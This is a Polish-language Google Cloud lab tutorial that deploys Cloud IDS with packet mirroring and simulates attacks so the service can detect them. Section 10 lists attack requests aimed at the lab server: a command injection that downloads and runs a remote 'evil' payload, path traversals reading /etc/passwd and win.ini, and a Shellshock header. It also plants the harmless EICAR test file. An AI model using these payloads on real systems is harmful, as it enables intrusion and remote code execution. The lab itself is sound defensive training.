Cloud IDS

1. Wprowadzenie

W tym laboratorium wdrożysz Cloud IDS, zaawansowaną usługę wykrywania włamań nowej generacji, która wykrywa zagrożenia związane z włamaniem, złośliwym oprogramowaniem, programami szpiegowskimi oraz przejęciem kontroli (atakami C&C). Przeprowadzisz symulację wielu ataków i wyświetlisz szczegóły zagrożeń w Cloud Console.

Czego się nauczysz

  • Jak utworzyć punkt końcowy Cloud IDS
  • Tworzenie 2 maszyn wirtualnych za pomocą poleceń gcloud
  • Tworzenie zasady dublowania pakietów
  • Symulowanie ruchu związanego z atakiem z maszyny wirtualnej
  • Jak wyświetlać szczegóły zagrożeń w Cloud Console i Cloud Logging

Czego potrzebujesz

  • znajomość podstawowych poleceń systemu Linux;

2. Przypadki użycia Cloud IDS

Cloud IDS to natywna usługa Google Cloud nowej generacji do wykrywania włamań (IDS), która pomaga klientom spełniać wymagania dotyczące zaawansowanego wykrywania zagrożeń i zgodności, takie jak PCI 11.4. Usługa jest obsługiwana przez technologie ochrony przed zagrożeniami Palo Alto Networks, które zapewniają zaawansowane wykrywanie włamań. Połączenie światowej klasy infrastruktury Google Cloud ze światowej klasy zabezpieczeniami Palo Alto Networks zapewnia klientom niezrównane połączenie w pełni zarządzanej, wydajnej i najskuteczniejszej usługi wykrywania zaawansowanych zagrożeń.

Klienci, którzy przenoszą swoje usługi do chmury, zwracają szczególną uwagę na bezpieczeństwo. Chcą mieć podobne mechanizmy kontroli zabezpieczeń jak w przypadku środowiska lokalnego, np. usługę wykrywania włamań (IDS) w chmurze. Zdecydowanie wolą korzystać z natywnego dla chmury zarządzanego rozwiązania IDS ze względu na łatwość wdrażania, wysoką wydajność i zoptymalizowane koszty w porównaniu z wdrażaniem rozwiązania zabezpieczającego innej firmy i zarządzaniem infrastrukturą lub używaniem własnych sygnatur. Cloud IDS to kompleksowa, zarządzana usługa wykrywania włamań z autoskalowaniem, która umożliwia klientom analizowanie zagrożeń i ograniczanie ich, a także zwalnia ich czas i zasoby na zarządzanie infrastrukturą lub sygnaturami zagrożeń.

Usługa Cloud IDS jest wdrażana poza pasmem i może wykrywać zagrożenia oraz wysyłać o nich alerty, ale nie może ich blokować. Wykorzystuje on funkcję Google Cloud Dublowanie pakietów do tworzenia kopii ruchu w sieci, która jest analizowana za pomocą silnika wykrywania zagrożeń Palo Alto Network.

3. Topologia ćwiczeń z programowania

5a276f399e1d31e2.png

Rysunek 1. Ogólny przegląd architektury wdrożenia Cloud IDS na potrzeby tego modułu.

4. Konfiguracja i wymagania

Samodzielne konfigurowanie środowiska

  1. Zaloguj się w konsoli Google Cloud i utwórz nowy projekt lub użyj istniejącego. Jeśli nie masz jeszcze konta Gmail lub Google Workspace, musisz je utworzyć.

96a9c957bc475304.pngb9a10ebdf5b5a448.pnga1e3c01a38fa61c2.png

  • Nazwa projektu to wyświetlana nazwa dla uczestników tego projektu. Jest to ciąg znaków, który nie jest używany przez interfejsy API Google. Możesz go w dowolnym momencie zaktualizować.
  • Identyfikator projektu musi być unikalny we wszystkich projektach Google Cloud i jest niezmienny (nie można go zmienić po ustawieniu). Konsola Cloud automatycznie generuje unikalny ciąg znaków. Zwykle nie musisz się nim przejmować. W większości przewodników programistycznych musisz odwoływać się do identyfikatora projektu (zwykle oznaczanego jako PROJECT_ID). Jeśli Ci się nie podoba, wygeneruj inny losowy identyfikator lub spróbuj użyć własnego i sprawdź, czy jest dostępny. Po utworzeniu projektu jest on „zamrażany”.
  • Istnieje też trzecia wartość, czyli numer projektu, którego używają niektóre interfejsy API. Więcej informacji o tych 3 wartościach znajdziesz w dokumentacji.
  1. Następnie musisz włączyć płatności w konsoli Cloud, aby korzystać z zasobów i interfejsów API Google Cloud. Ukończenie tego laboratorium nie powinno wiązać się z dużymi kosztami, a nawet z żadnymi. Aby wyłączyć zasoby i uniknąć naliczenia opłat po zakończeniu tego samouczka, postępuj zgodnie z instrukcjami „czyszczenia” na końcu ćwiczenia. Nowi użytkownicy Google Cloud mogą skorzystać z programu bezpłatnego okresu próbnego, w którym mają do dyspozycji środki w wysokości 300 USD.

Uruchom Cloud Shell

Z Google Cloud można korzystać zdalnie na laptopie, ale w tym ćwiczeniu użyjesz Google Cloud Shell, czyli środowiska wiersza poleceń działającego w chmurze.

W konsoli GCP kliknij ikonę Cloud Shell na pasku narzędzi w prawym górnym rogu:

bce75f34b2c53987.png

Uzyskanie dostępu do środowiska i połączenie się z nim powinno zająć tylko kilka chwil. Po zakończeniu powinno wyświetlić się coś takiego:

f6ef2b5f13479f3a.png

Ta maszyna wirtualna zawiera wszystkie potrzebne narzędzia dla programistów. Zawiera również stały katalog domowy o pojemności 5 GB i działa w Google Cloud, co znacznie zwiększa wydajność sieci i usprawnia proces uwierzytelniania. Wszystkie zadania w tym laboratorium możesz wykonać w przeglądarce.

5. Zanim zaczniesz

Włącz interfejsy API

W Cloud Shell sprawdź, czy identyfikator projektu jest skonfigurowany.

gcloud config list project
gcloud config set project [YOUR-PROJECT-NAME]
export PROJECT_ID=$(gcloud config get-value project | sed '2d')

Włącz wszystkie niezbędne usługi

gcloud services enable compute.googleapis.com
gcloud services enable ids.googleapis.com
gcloud services enable logging.googleapis.com

6. Utwórz sieć VPC

Sieć VPC

W Cloud Shell

gcloud compute networks create cloud-ids \
--subnet-mode=custom

Podsieć

W Cloud Shell

gcloud compute networks subnets create cloud-ids-useast1 \
--range=192.168.10.0/24 \
--network=cloud-ids \
--region=us-east1

Prywatny dostęp do usług

W Cloud Shell

gcloud compute addresses create cloud-ids-ips \
--global \
--purpose=VPC_PEERING \
--addresses=10.10.10.0 \
--prefix-length=24 \
--description="Cloud IDS Range" \
--network=cloud-ids

Połączenie z usługą prywatną

W Cloud Shell

gcloud services vpc-peerings connect \
--service=servicenetworking.googleapis.com \
--ranges=cloud-ids-ips \
--network=cloud-ids \
--project=$PROJECT_ID

Reguły zapory sieciowej

Aby umożliwić IAP połączenie z instancjami maszyn wirtualnych, utwórz regułę zapory sieciowej, która:

  • Dotyczy wszystkich instancji maszyn wirtualnych, które mają być dostępne przez IAP.
  • Zezwala na ruch przychodzący z zakresu adresów IP 35.235.240.0/20. Ten zakres zawiera wszystkie adresy IP, których IAP używa do przekierowywania TCP.

W Cloud Shell

gcloud compute firewall-rules create allow-iap-proxy \
--direction=INGRESS \
--priority=1000 \
--network=cloud-ids \
--action=ALLOW \
--rules=tcp:22 \
--source-ranges=35.235.240.0/20

Aby zezwolić na standardowy port HTTP (TCP 80) i protokół ICMP na serwerze:

  • Dotyczy zasobów z tagiem sieci „server”
  • Dopuszcza ruch przychodzący ze wszystkich źródeł

W Cloud Shell

gcloud compute firewall-rules create allow-http-icmp \
--direction=INGRESS \
--priority=1000 \
--network=cloud-ids \
--action=ALLOW \
--rules=tcp:80,icmp \
--source-ranges=0.0.0.0/0 \
--target-tags=server

Tworzenie instancji Cloud NAT

Cloud Router

W Cloud Shell

gcloud compute routers create cr-cloud-ids-useast1 \
--region=us-east1 \
--network=cloud-ids

Cloud NAT

W Cloud Shell

gcloud compute routers nats create nat-cloud-ids-useast1 \
--router=cr-cloud-ids-useast1 \
--router-region=us-east1 \
--auto-allocate-nat-external-ips \
--nat-all-subnet-ip-ranges

7. Tworzenie punktu końcowego Cloud IDS

W tej sekcji utworzysz punkt końcowy Cloud IDS w regionie us-east1 z poziomem ważności ustawionym na informacyjny. Tworzenie punktu końcowego systemu wykrywania włamań trwa około 20 minut.

Punkt końcowy systemu wykrywania włamań

W Cloud Shell

gcloud ids endpoints create cloud-ids-east1 \
--network=cloud-ids \
--zone=us-east1-b \
--severity=INFORMATIONAL \
--async

Sprawdzanie, czy punkt końcowy Cloud IDS został zainicjowany

gcloud ids endpoints list --project=$PROJECT_ID

Dane wyjściowe –

ID: cloud-ids-east1
LOCATION: us-east1-b
SEVERITY: INFORMATIONAL
STATE: CREATING
NETWORK: cloud-ids
TRAFFIC_LOGS:

8. Tworzenie 2 maszyn wirtualnych

W tej sekcji utworzysz 2 maszyny wirtualne. Pierwszym będzie serwer WWW, który jest dublowany w Cloud IDS. Druga maszyna wirtualna będzie źródłem ruchu atakującego.

Maszyna wirtualna 1 (serwer)

W Cloud Shell

gcloud compute instances create server \
--zone=us-east1-b \
--machine-type=e2-medium \
--subnet=cloud-ids-useast1 \
--no-address \
--private-network-ip=192.168.10.20 \
--metadata=startup-script=\#\!\ /bin/bash$'\n'sudo\ apt-get\ update$'\n'sudo\ apt-get\ -qq\ -y\ install\ nginx \
--tags=server \
--image=debian-10-buster-v20210512 \
--image-project=debian-cloud \
--boot-disk-size=10GB

Maszyna wirtualna 2 (klient)

W Cloud Shell

gcloud compute instances create attacker \
--zone=us-east1-b \
--machine-type=e2-medium \
--subnet=cloud-ids-useast1 \
--no-address \
--private-network-ip=192.168.10.10 \
--image=debian-10-buster-v20210512 \
--image-project=debian-cloud \
--boot-disk-size=10GB 

9. Przygotowywanie serwera

W tym zadaniu zweryfikujesz serwer i udostępnisz klientowi nieszkodliwy ładunek złośliwego oprogramowania.

Łączenie się z maszyną wirtualną przez SSH za pomocą Cloud Shell

gcloud compute ssh server --zone=us-east1-b --tunnel-through-iap

Sprawdzanie, czy usługa internetowa działa

sudo systemctl status nginx

Dane wyjściowe – sprawdź, czy instancja jest aktywna i uruchomiona

● nginx.service - A high performance web server and a reverse proxy server
   Loaded: loaded (/lib/systemd/system/nginx.service; enabled; vendor preset: enabled)
   Active: active (running) since Tue 2021-05-25 18:01:49 UTC; 5h 24min ago
     Docs: man:nginx(8)
 Main PID: 1347 (nginx)
    Tasks: 3 (limit: 4665)
   Memory: 4.5M
   CGroup: /system.slice/nginx.service
           ├─1347 nginx: master process /usr/sbin/nginx -g daemon on; master_process on;
           ├─1348 nginx: worker process
           └─1349 nginx: worker process

May 25 18:01:49 server systemd[1]: Starting A high performance web server and a reverse proxy server...
May 25 18:01:49 server systemd[1]: Started A high performance web server and a reverse proxy server.

Zmień katalog na usługę internetową

cd /var/www/html/

Utwórz na serwerze WWW plik z nieszkodliwym złośliwym oprogramowaniem.

sudo touch eicar.file

Wklej zawartość

echo 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' | sudo tee eicar.file

Wróć do Cloud Shell

exit

Tworzenie zasady dublowania pakietów Cloud IDS

Zidentyfikuj regułę przekierowania punktu końcowego systemu wykrywania włamań i sprawdź, czy stan punktu końcowego systemu wykrywania włamań to „GOTOWY”.

gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b 

Przykładowe dane wyjściowe – skopiuj wartość z pola „endpointForwardingRule”

user1@cloudshell:~ (ids-project)$ gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b
createTime: '2021-07-01T21:03:56.099839751Z'
endpointForwardingRule: https://www.googleapis.com/compute/v1/projects/n3de7a2d45b28a050p-tp/regions/us-east1/forwardingRules/ids-fr-east-y085fcfwalsok1ca
endpointIp: 172.16.30.43
name: projects/ids-project/locations/us-east1-b/endpoints/cloud-ids-east1
network: projects/ids-project/global/networks/cloud-ids
severity: INFORMATIONAL
state: READY
updateTime: '2021-07-01T21:21:32.744309107Z'

Zapisz regułę przekazywania punktu końcowego systemu wykrywania włamań w zmiennej.

export FORWARDING_RULE=$(gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b --format="value(endpointForwardingRule)")
echo $FORWARDING_RULE

Zasady dublowania pakietów

W Cloud Shell

gcloud compute packet-mirrorings create cloud-ids-packet-mirroring \
--region=us-east1 \
--collector-ilb=$FORWARDING_RULE \
--network=cloud-ids \
--mirrored-subnets=cloud-ids-useast1

Sprawdź, czy zasada dublowania pakietów została utworzona

W Cloud Shell

gcloud compute packet-mirrorings list

Wyniki

user1@cloudshell:~ (ids-project)$ gcloud compute packet-mirrorings list
NAME                        REGION       NETWORK    ENABLE
cloud-ids-packet-mirroring  us-east1     cloud-ids  TRUE

10. Symulowanie ruchu związanego z atakiem

Połącz się z maszyną wirtualną atakującego (klient) przez SSH.

W Cloud Shell

gcloud compute ssh attacker --zone=us-east1-b --tunnel-through-iap

Uruchom te żądania curl, aby zasymulować złośliwy ruch.

curl "http://192.168.10.20/weblogin.cgi?username=admin';cd /tmp;wget http://123.123.123.123/evil;sh evil;rm evil"
curl http://192.168.10.20/?item=../../../../WINNT/win.ini
curl http://192.168.10.20/eicar.file
curl http://192.168.10.20/cgi-bin/../../../..//bin/cat%20/etc/passwd
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://192.168.10.20/cgi-bin/test-critical

Wyjdź z maszyny wirtualnej, aby wrócić do Cloud Shell.

exit

11. Sprawdzanie zagrożeń wykrytych przez Cloud IDS

Otwórz panel Cloud IDS

Menu nawigacyjne > Bezpieczeństwo sieciowe > Cloud IDS

37583419aa604aa8.png

Otwórz kartę Zagrożenia.

b7d934f409b4e2b.png

Jak widać, Cloud IDS przechwycił różne profile ruchu związanego z atakami i podał szczegóły dotyczące każdego zagrożenia. Jeśli nie widzisz żadnych zagrożeń, konieczne może być kliknięcie przycisku „Odśwież”. Przyjrzyjmy się teraz szczegółom zagrożenia.

Znajdź zagrożenie „Bash Remote Code Execution Vulnerability” (Luka w zabezpieczeniach umożliwiająca zdalne wykonanie kodu w Bashu) i kliknij 3 kropki po prawej stronie, a następnie wybierz „Wyświetl szczegóły zagrożenia”.

b122b30dd8d43d9b.pngee1b201a12db7ef7.png

Teraz wyświetlimy szczegóły tego incydentu w Cloud Logging. Wróć na stronę Zagrożenia, klikając strzałkę w lewo .

Kliknij trzy kropki po prawej stronie i wybierz „Wyświetl logi zagrożeń”.

b122b30dd8d43d9b.pngff0d5a0d652ddd83.png

Te same szczegóły są przekazywane do Cloud Logging. Dzięki temu możesz wysyłać logi do Cloud Storage, Chronicle lub dowolnego systemu SIEM/SOAR. Możesz też tworzyć niestandardowe przepływy pracy, aby podejmować działania naprawcze na podstawie alertów, np. tworzyć funkcję w chmurze, która jest wywoływana przez alert i tworzy lub aktualizuje regułę zapory sieciowej, aby blokować adres IP, albo tworzy lub aktualizuje zasadę Cloud Armor.

12. Procedura czyszczenia

Zamykanie instancji maszyny wirtualnej (wszystkie karty)

exit

Usuwanie komponentów laboratorium z jednego terminala Cloud Shell

gcloud compute routers nats delete nat-cloud-ids-useast1 --router=cr-cloud-ids-useast1 --router-region=us-east1 --quiet

gcloud compute routers delete cr-cloud-ids-useast1 --region=us-east1 --quiet

gcloud compute instances delete server --zone=us-east1-b --quiet

gcloud compute instances delete attacker --zone=us-east1-b --quiet

gcloud compute firewall-rules delete allow-iap-proxy --quiet

gcloud compute firewall-rules delete allow-http-icmp --quiet

gcloud compute packet-mirrorings delete cloud-ids-packet-mirroring --region=us-east1 --quiet

gcloud ids endpoints delete cloud-ids-east1 --zone=us-east1-b --quiet

gcloud services vpc-peerings delete --service=servicenetworking.googleapis.com --network=cloud-ids --project=$PROJECT_ID --quiet

gcloud compute addresses delete cloud-ids-ips --global --quiet

gcloud compute networks subnets delete cloud-ids-useast1 --region us-east1 --quiet

gcloud compute networks delete cloud-ids --quiet

13. Gratulacje!

Gratulujemy ukończenia ćwiczenia.

Omówione zagadnienia

  • Przypadki użycia Cloud IDS
  • Wymagania związane z siecią
  • Obsługiwane interfejsy API
  • Utworzono punkt końcowy Cloud IDS
  • Wdrożono 2 maszyny wirtualne
  • Wygenerowano ruch „ataku” z klienta
  • Wykryte przez system IDS zweryfikowane zagrożenia
  • Sprawdzanie szczegółów zagrożeń i dzienników